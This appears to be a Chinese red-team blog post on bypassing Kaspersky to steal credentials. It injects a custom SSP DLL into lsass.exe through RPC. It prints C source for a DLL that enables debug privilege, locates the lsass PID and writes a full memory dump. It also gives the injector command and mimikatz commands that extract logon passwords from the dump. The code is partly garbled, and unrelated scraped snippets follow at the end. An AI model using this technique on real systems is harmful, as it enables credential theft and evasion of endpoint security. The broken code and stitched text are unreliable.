正常的 ssp 擴充套件(dll)可以載入到 lsass 程序中去,比如 kerberos 驗證都是通重載入 kerberos.dll (它就是一種 ssp)呼叫 sspi 來進行驗證,所以我們就可以控制載入乙個我們自己的 dll 執行惡意**從而 dump hash,但是殺軟肯定會對常規 ssp 擴充套件載入進行檢測,所以看了 xpn 的文章,可以通過 rpc控制 lsass.exe 進而載入 ssp 擴充套件。最近與公司大佬打了一波攻防演練,讓我抓個密碼,dump 記憶體下來,以為是有卡巴等殺軟保護了 lsass 所以抓不到,就嘗試復現了一下網上大佬的通過 rpc 呼叫新增乙個 ssp dll 讓 lsass 中自己抓自己的記憶體的騷操作,其中踩坑無數,做一下記錄。
參考:繞過卡巴斯基橫向移動
#include #include #include #include #include #pragma comment(lib,"dbghelp.lib")
typedef hresult(winapi* _minidumpw)(
dword arg1, dword arg2, pwchar cmdline);
typedef ntstatus(winapi* _rtladjustprivilege)(
ulong privilege, bool enable,
bool currentthread, pulong enabled);
int dump()
// try enable debug privilege
rtladjustprivilege(20, true, false, &t);
wchar_t ws[100];
swprintf(ws, 100, l"%hs", "784 c:\\1.bin full"); //784是lsass程序的pid號 "full"
minidumpw(0, 0, ws);
return 0;
}bool apientry dllmain(hmodule hmodule, dword ul_reason_for_call, lpvoid lpreserved)
return true;
}
但是我使用 ateam 的**進行 dump 記憶體,發現編譯了後有時候 dump 不下來,後經過修改找到了乙個自動獲取 lsass 的 pid 的**:
#include #include #include #include #include #pragma comment(lib,"dbghelp.lib")
typedef hresult(winapi* _minidumpw)(
dword arg1, dword arg2, pwchar cmdline);
typedef ntstatus(winapi* _rtladjustprivilege)(
ulong privilege, bool enable,
bool currentthread, pulong enabled);
char* wchartochar(wchar_t* wc)
dword id(const char* pname)
processentry32 pe = ;
for (bool ret = process32first(hsnapshot, &pe); ret; ret = process32next(hsnapshot, &pe))
} closehandle(hsnapshot);
return 0;
}int dump()
// try enable debug privilege
rtladjustprivilege(20, true, false, &t);
wchar_t ws[100];
dword pid = id("lsass.exe");
swprintf(ws, 100, l"%u %hs", pid, "c:\\1.bin full"); //784是lsass程序的pid號 "full"
minidumpw(0, 0, ws);
return 0;
}bool apientry dllmain(hmodule hmodule, dword ul_reason_for_call, lpvoid lpreserved)
return true;
}
修改配置型別為.dll,使用 unicode 編碼字符集,就可以編譯
接下來可以看看效果
procdump是會被卡巴斯基攔截的,拒絕訪問
但是 360 什麼的是沒問題的
但是我們用 rpc 呼叫注入 dll 是可以成功 dump 下記憶體。
ssp.exe 絕對路徑\dllinject.dll
接下來就是常規操作讀記憶體
mimikatz # sekurlsa::minidump 1.bin
mimikatz # sekurlsa::logonpasswords full
直接被殺了,不需要試了
在查詢資料的過程中發現乙個號稱可以過殺軟讀記憶體的 sharpdump ,我們也可以看看能不能過卡巴斯基,和 mimikatz 一樣,直接被殺了
但是可以過 360
繞過卡巴斯基通過RPC控制lsass注入DLL
原理 正常的ssp擴充套件 dll 可以載入到lsass程序中去,比如kerberos驗證都是通重載入kerberos.dll 它就是一種ssp 呼叫sspi來進行驗證,所以我們就可以控制載入乙個我們自己的dll執行惡意 從而dump hash,但是殺軟肯定會對常規ssp擴充套件載入進行檢測,所以看...
卡巴斯基阻塞網路?
一直都鍾情於卡巴斯基的防毒軟體。從以前的5版本用到現在的2009,見證了它的變化。個人感覺是版本5當初進入中國時,是特別耗費資源的,後來的版本應該說徹底解決問題了,抑或是我電腦效能變好了?基本都是用的卡巴正版。這次的2009,我也是買了一年正版全功能,但最近發現些許問題,就是開了卡巴,不能連線伺服器...
卡巴斯基淨惹禍了
前段時間在eclipse中進行checkout原始碼的時候,突然不能夠進行checkout,總是斷開,老是報錯,進行了反覆的檢查也沒有找到問題。後來沒有別的辦法了,只有求助同事了,同事一看,還不錯,原來他以前也遇到過這個問題,但是他的解決方法比較老了一些,把卡巴關了,再進行checkout就行了,說...